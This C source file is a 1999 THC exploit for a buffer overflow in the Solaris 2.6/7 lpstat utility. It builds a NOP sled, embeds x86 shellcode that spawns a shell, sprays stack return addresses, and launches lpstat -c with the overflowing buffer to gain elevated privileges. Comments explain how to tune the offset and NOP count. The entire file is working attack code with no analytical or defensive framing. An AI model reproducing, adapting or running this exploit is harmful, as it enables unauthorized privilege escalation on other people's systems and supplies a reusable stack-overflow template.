/*
 * lpstat sploit for solaris 2.6/7.0
 * by plasmoid/deep/thc <plasmoid@pimmel.com> (c) 1999
 * supported by insected and wilkins
 * 
 * THC - The Hacker's Choice
 * http://thc.inferno.tusculum.edu
 */



#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char shell[] =
  "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
  "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
  "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
  "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
  "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

const int buffersize=1100;
const char x86_nop=0x90;
long nop,esp;
long offset=0;
char buffer[2000];

long get_esp()
{
  __asm__("movl %esp,%eax");
}

int main (int argc, char *argv[])
{
  int i;

  /* you shouldn't edit the offset, we run with
     800 nops in 1100 bytes buffer, one of those
     nops should be hit */

  if (argc > 1) offset = strtol(argv[1], NULL, 0);

  /* if you don't succeed, modify the nop count,
     the standart value of 801 bybtes is quite
     strange enuff */

  if (argc > 2) nop = strtoul(argv[2], NULL, 0);
  else
    nop = 801;

  esp = get_esp();

  memset(buffer, x86_nop, buffersize);
  memcpy(buffer+nop, shell, strlen(shell));
  for (i = nop+strlen(shell); i < buffersize-4; i += 4)
    *((int *) &buffer[i]) = esp+offset;

  execl("/usr/bin/lpstat", "lpstat", "-c", buffer, NULL);

  printf("exec failed!\n");
  return 0;
}